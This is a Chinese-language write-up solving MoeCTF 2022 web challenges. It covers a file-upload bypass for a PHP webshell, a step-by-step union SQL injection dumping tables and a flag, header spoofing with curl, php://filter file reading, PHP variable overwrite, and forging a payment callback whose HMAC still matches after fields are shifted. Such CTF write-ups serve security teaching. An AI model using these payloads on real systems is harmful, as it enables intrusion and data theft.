MoeCTF_2022web方向WP
what are y0u uploading? 文件上传题目,先随便上传一个正常的一句话木马的php文件,看看有什么限制 提示只能上传图片类型文件,然后打开bp,现在本机把文件改成jpg格式,然后bp中修改后缀看看是不是在前端做校验 修改后缀后成功上传了
1 2 文件上传成功!filename:2 .php 我不想要这个特洛伊文件,给我一个f1ag.php 我就给你flag!
那我们就新建一个f1ag.jpg文件然后改成php上传给他,拿到flag
Sqlmap_boy 一个登录界面,根据题目的意思用sqlmap工具可以直接一把梭? 随便输入一个账号密码然后bp抓包, 用sql跑一下 没跑出来 在页面的源代码发现有提示,这是sql查询语句的源代码
那就可以在username这里闭合 输入admin" #
跳转到http://node5.anna.nssctf.cn:27698/secrets.php?id=1
这里就有注入点了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 1. 爆库?id=-1 ' union select 1,database(),3 -- + moectf 3 2.爆表 ?id=-1' union select 1 ,group_concat(table_name ),3 from information_schema.tables where table_schema=database () articles,flag,users 3 3. 爆字段?id=-1 ' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=' flag' -- + flAg 3 4.爆值 ?id=-1' union select 1 ,group_concat(flAg),3 from flag NSSCTF{4e6 ccb7d-4 dc7-417 c-839 b-7522e2460305 }
God_of_aim 源代码中有一个注释 <!-- 你知道吗?index.js实例化了一个aimTrainer对象-->
在源代码中点击aimtrainer.js界面看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 var _0x78bd = ["\x61 \x69 \x6D \x54 \x72 \x61 \x69 \x6E \x65 \x72 \x45 \x6C " , "\x61 \x69 \x6D \x2D \x74 \x72 \x61 \x69 \x6E \x65 \x72 " , "\x67 \x65 \x74 \x45 \x6C \x65 \x6D \x65 \x6E \x74 \x42 \x79 \x49 \x64 " , "\x73 \x63 \x6F \x72 \x65 \x45 \x6C " , "\x73 \x63 \x6F \x72 \x65 " , "\x61 \x69 \x6D \x73 \x63 \x6F \x72 \x65 " , "\x64 \x65 \x6C \x61 \x79 " , "\x74 \x61 \x72 \x67 \x65 \x74 \x53 \x69 \x7A \x65 " , "\x61 \x69 \x6D \x73 \x63 \x6F \x72 \x65 \x45 \x4C " , "\x73 \x65 \x74 \x53 \x63 \x6F \x72 \x65 " , "\x73 \x74 \x61 \x72 \x74 " , "\x69 \x6E \x6E \x65 \x72 \x48 \x54 \x4D \x4C " , "\x73 \x65 \x74 \x41 \x69 \x6D \x53 \x63 \x6F \x72 \x65 " , "\x70 \x6F \x73 \x69 \x74 \x69 \x6F \x6E " , "\x73 \x74 \x79 \x6C \x65 " , "\x72 \x65 \x6C \x61 \x74 \x69 \x76 \x65 " , "\x74 \x69 \x6D \x65 \x72 " , "\x63 \x72 \x65 \x61 \x74 \x65 \x54 \x61 \x72 \x67 \x65 \x74 " , "\x63 \x68 \x65 \x63 \x6B \x66 \x6C \x61 \x67 \x31 " , "\x63 \x68 \x65 \x63 \x6B \x66 \x6C \x61 \x67 \x32 " , "\x73 \x74 \x6F \x70 " , "\x6D \x6F \x65 \x63 \x74 \x66 \x7B \x4F \x68 \x5F \x79 \x6F \x75 \x5F \x63 \x61 \x6E \x5F \x61 \x31 \x6D \x5F " , "\u4F60 \u5DF2 \u7ECF \u5B66 \u4F1A \u7784 \u51C6 \u4E86 \uFF01 \u8BD5 \u8BD5 \u770B \x3A " , "\x73 \x74 \x61 \x72 \x74 \x32 " , "\x61 \x6E \x64 \x5F \x48 \x34 \x63 \x6B \x5F \x4A \x61 \x76 \x61 \x73 \x63 \x72 \x69 \x70 \x74 \x7D " , "" ];class AimTrainer { constructor ({_0xf777x2 , _0xf777x3 }) { this [_0x78bd [0 ]] = document [_0x78bd [2 ]](_0x78bd [1 ]); this [_0x78bd [3 ]] = document [_0x78bd [2 ]](_0x78bd [4 ]); this [_0x78bd [4 ]] = 0 ; this [_0x78bd [5 ]] = 0 ; this [_0x78bd [6 ]] = _0xf777x2 || 1000 ; this [_0x78bd [7 ]] = _0xf777x3 || 30 ; this [_0x78bd [8 ]] = document [_0x78bd [2 ]](_0x78bd [5 ]) } createTarget () { const _0xf777x5 = new Target ({ delay : this [_0x78bd [6 ]], targetSize : this [_0x78bd [7 ]], aimTrainerEl : this [_0x78bd [0 ]], onTargetHit : () = > { this [_0x78bd [9 ]](this [_0x78bd [4 ]] + 1 ) } }); _0xf777x5 [_0x78bd [10 ]]() } setScore (_0xf777x7 ) { this [_0x78bd [4 ]] = _0xf777x7 ; this [_0x78bd [3 ]][_0x78bd [11 ]] = this [_0x78bd [4 ]] } setAimScore (_0xf777x7 ) { this [_0x78bd [5 ]] = _0xf777x7 ; this [_0x78bd [8 ]][_0x78bd [11 ]] = _0xf777x7 } start1 () { this [_0x78bd [9 ]](0 ); this [_0x78bd [12 ]](10 ); this [_0x78bd [0 ]][_0x78bd [14 ]][_0x78bd [13 ]] = _0x78bd [15 ]; if (! this [_0x78bd [16 ]]) { this [_0x78bd [16 ]] = setInterval ( () = > { this [_0x78bd [17 ]](); this [_0x78bd [3 ]][_0x78bd [11 ]] = this [_0x78bd [4 ]]; this [_0x78bd [18 ]]() } , this [_0x78bd [6 ]]) } else { return } } start2 () { this [_0x78bd [7 ]] = 10 ; this [_0x78bd [6 ]] = 400 ; this [_0x78bd [9 ]](0 ); this [_0x78bd [12 ]](100000 ); this [_0x78bd [0 ]][_0x78bd [14 ]][_0x78bd [13 ]] = _0x78bd [15 ]; if (! this [_0x78bd [16 ]]) { this [_0x78bd [16 ]] = setInterval ( () = > { this [_0x78bd [17 ]](); this [_0x78bd [3 ]][_0x78bd [11 ]] = this [_0x78bd [4 ]]; this [_0x78bd [19 ]]() } , this [_0x78bd [6 ]]) } else { return } } checkflag1 () { if (this [_0x78bd [4 ]] == this [_0x78bd [5 ]]) { this [_0x78bd [20 ]](); alert (_0x78bd [21 ]); alert (_0x78bd [22 ]); this [_0x78bd [23 ]]() } } checkflag2 () { if (this [_0x78bd [4 ]] == this [_0x78bd [5 ]]) { this [_0x78bd [20 ]](); alert (_0x78bd [24 ]) } } stop () { this [_0x78bd [0 ]][_0x78bd [11 ]] = _0x78bd [25 ]; if (this [_0x78bd [16 ]]) { clearInterval (this [_0x78bd [16 ]]); this [_0x78bd [16 ]] = 0 } else { return } } }
这里有两个checkflag函数,都是执行了alert函数在控制台中输入,得到一半的flag 再输入第二个checkflag中的alert函数得到另一半flag 如果在NSS中做题前面要改成NSSCTF
ezphp 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file ('source.txt' );echo "<br><br>" ;$flag = 'xxxxxxxx' ;$giveme = 'can can need flag!' ;$getout = 'No! flag.Try again. Come on!' ;if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($giveme ); } if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($getout ); } foreach ($_POST as $key => $value ) { $$key = $value ; } foreach ($_GET as $key => $value ) { $$key = $$value ; } echo 'the flag is : ' . $flag ;?>
这是一道变量覆盖的题,必须用get和post传入flag参数,但是值不能都是flag 然后foreach中的内容意思是把其中的键值对转换为变量,例如,如果请求是 POST flag=123,那么 $flag
= ‘123’; 这里最后一个覆盖是get请求,我们就利用一个中间的变量x,让x=flag,这样子x就会变成我们需要的最原始的flag 然后再让flag=x 这样子就避免了最初的flag被我们输入的flag覆盖了
ezhtml 查看源代码,最有有一个evil.js这是校验逻辑,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 var sx = document .querySelector ('#sx' );var yw = document .querySelector ('#yw' );var wy = document .querySelector ('#wy' );var zh = document .querySelector ('#zh' );var zf = document .querySelector ('#zf' );var arr = [sx, yw, wy, zh];var flag = false ;function check ( ) { if (flag == true ) { clearInterval (timer); } var sum = 0 ; for (var i = 0 ; i < arr.length ; i++) { sum += eval (arr[i].innerHTML ); } if (sum == eval (zf.innerHTML ) && sum > 600 ) { alert ('NSSCTF{91e26cae-0c3a-40c2-b6b8-9a7ffb431d26}' ); flag = true ; } } var timer = setInterval (check, 1000 );
直接得到flag了,这里还要sum大于600,我们也可以按f12修改这些成绩,要把单科和总分一起改,总分要等于总和
cookiehead 题目界面只有仅限本地访问
就在请求头这里加入xff 伪造本地 然后提示You are not from http://127.0.0.1/index.php !
所以加上Referer 最后提示请先登录
再把login 改成1
1 2 ┌──(root㉿kakeru)-[~/tmp] └─# curl http://node5.anna.nssctf.cn:25883/ -H 'X-Forwarded-For 127.0.0.1' -H 'Referer http://127.0.0.1/index.php' -H 'login 1'
baby_file 题目
1 2 3 4 5 6 7 8 9 10 11 12 <html > <title > Here's a secret. Can you find it?</title > <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; include ($file ); }else { highlight_file (__FILE__ ); } ?> </html >
用php伪协议读取文件
1 2 3 4 5 6 7 8 9 10 11 ?file=php: PD9waHANCkhleSBoZXksIHJlYWNoIHRoZSBoaWdoZXN0IGNpdHkgaW4gdGhlIHdvcmxkISBBY3R1YWxseSBJIGFtIGlrdW4hITsNCg0KTlNTQ1RGe2FkNWI4ZGNiLWZkMDctNDk5MS05MDJiLTYwYWFhMWRjODgyNn07DQoNCj8+ ┌──(root㉿kakeru)-[~/tmp] └─ <?php Hey hey, reach the highest city in the world! Actually I am ikun!!; NSSCTF{ad5b8dcb-fd07-4991 -902 b-60 aaa1dc8826}; ?>
支付系统 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 import osimport uuidfrom quart import Quart, render_template, redirect, jsonify, request, sessionfrom hashlib import pbkdf2_hmacfrom enum import IntEnumfrom tortoise import fieldsfrom tortoise.models import Modelfrom tortoise.contrib.quart import register_tortoisefrom httpx import AsyncClientapp = Quart(__name__) app.secret_key = os.urandom(16 ) class TransactionStatus (IntEnum ): SUCCESS = 0 PENDING = 1 FAILED = 2 TIMEOUT = 3 class Transaction (Model ): id = fields.IntField(pk=True ) user = fields.UUIDField() amount = fields.IntField() status = fields.IntEnumField(TransactionStatus) desc = fields.TextField() hash = fields.CharField(64 , null=True ) def __init__ (self, **kwargs ): super ().__init__() for k, v in kwargs.items(): self .__setattr__(k, v) async def do_callback (transaction: Transaction ): async with AsyncClient() as ses: transaction.status = int (TransactionStatus.FAILED) data = ( f'{transaction.id } ' f'{transaction.user} ' f'{transaction.amount} ' f'{transaction.status} ' f'{transaction.desc} ' ).encode() await ses.post(f'http://localhost:8000/callback' , data={ 'id' : transaction.id , 'user' : transaction.user, 'amount' : transaction.amount, 'desc' : transaction.desc, 'status' : transaction.status, 'hash' : pbkdf2_hmac('sha256' , data, app.secret_key, 2 **20 ).hex () }) @app.before_request async def create_session (): if 'uid' not in session: session['uid' ] = str (uuid.uuid4()) session['balance' ] = 0 for tr in await Transaction.filter (user=session['uid' ]).all (): if tr.status == TransactionStatus.SUCCESS: session['balance' ] += tr.amount @app.route('/pay' ) async def pay (): transaction = await Transaction.create( amount=request.args.get('amount' ), desc=request.args.get('desc' ), status=TransactionStatus.PENDING, user=uuid.UUID(session.get('uid' )) ) app.add_background_task(do_callback, transaction) return redirect(f'/transaction?id={transaction.id } ' ) @app.route('/callback' , methods=['POST' ] ) async def callback (): form = dict (await request.form) data = ( f'{form.get("id" )} ' f'{form.get("user" )} ' f'{form.get("amount" )} ' f'{form.get("status" )} ' f'{form.get("desc" )} ' ).encode() k = pbkdf2_hmac('sha256' , data, app.secret_key, 2 **20 ).hex () tr = await Transaction.get(id =int (form.pop('id' ))) if k != form.get("hash" ): return '403' form['status' ] = TransactionStatus(int (form.pop('status' ))) tr.update_from_dict(form) await tr.save() return 'ok' @app.route('/transaction' ) async def transaction (): if 'id' not in request.args: return '404' transaction = await Transaction.get(id =request.args.get('id' )) return await render_template('receipt.html' , transaction=transaction) @app.route('/flag' ) async def flag (): return await render_template( 'flag.html' , balance=session['balance' ], flag=os.getenv('FLAG' ), ) @app.route('/' ) @app.route('/index.html' ) async def index (): with open (__file__) as f: return await render_template('source-highlight.html' , code=f.read()) register_tortoise( app, db_url="sqlite://./data.db" , modules={"models" : [__name__]}, generate_schemas=True , ) if __name__ == '__main__' : app.run()
这是基于Quart的一个python系统 路由有/pay
/callback
/transaction
/flag
1 2 3 4 5 6 7 # 交易状态 class TransactionStatus (IntEnum ): SUCCESS = 0 PENDING = 1 FAILED = 2 TIMEOUT = 3
do_callback(transaction)
发送一个 HTTP POST 请求到 http://localhost:8000/callback
,通知交易结果。 pbkdf2_hmac
生成加密哈希,防止数据被篡改。@app.before_request
:每次请求前执行此函数session['uid'] = str(uuid.uuid4())
:如果用户没有 UID,生成一个新的 UUID。session['balance'] = 0
:初始化余额。if tr.status == TransactionStatus.SUCCESS:
session['balance'] += tr.amount
遍历用户的所有成功交易,并把金额累计给balance。 处理 /pay
路由: 读取 amount 和 desc(从 URL 参数获取)。 创建一笔交易,初始状态是 PENDING。 后台执行 do_callback(用于模拟支付流程)。 跳转到 /transaction 页面,查看交易信息。/callback
: 用POST请求接受数据,这个路由接受参数,验证交易 计算 hash,并与请求的 hash 进行对比,防止篡改。 如果 hash 验证失败,返回 403。 否则,更新交易状态,并保存到数据库。/transaction
: 根据id查询交易详情/flag
: 根据balance的值,如果达成某种条件就输出flag 最重要的是callback这个检验路由 它会把post接受的数据做一个hash来验证交易的真假,但是我们并不知道这个app.secret_key
这里是通过/pay
构造一个订单,然后发送到do_callback
在这里data被hash加密然后用post传给/callback
而且data的结构是
1 2 3 4 5 6 7 data = ( f'{transaction.id } ' f'{transaction.user} ' f'{transaction.amount} ' f'{transaction.status} ' f'{transaction.desc} ' ).encode()
这是字符串拼接的形式/callback
里面接受到data进行hash检验,然后将订单的status
修改成我们传入的值
所以总的思路就是构建订单,然后对data数据做更改,把status改成0(success) 让balance满足条件 比如现在的原始data数据是
1 2 id user amount status desc aaa bbb 1000 2 1234
我们要把status改成0而且要data的总的字符串不变 为 aaabbb100021234 修改之后的data为
1 2 id user amount status desc aaa bbb 100 0 21234
拼接之后还是aaabbb100021234
所以我们打开bp 在/pay路由里面输入?amount=1000&desc=1234 构造一个订单,获得id 把得到的id发送到/transaction 里查询订单详情 ?id=(your_id) 可以得到hash 然后到/callback校验路由里面修改订单的数据 id=(your_id)&user=xxx&amount=100&status=0&desc=21234&hash=xxxx
返回ok说明成功修改了 最后访问/flag路由,因为现在的balance已经达到要求了,所以就返回flag了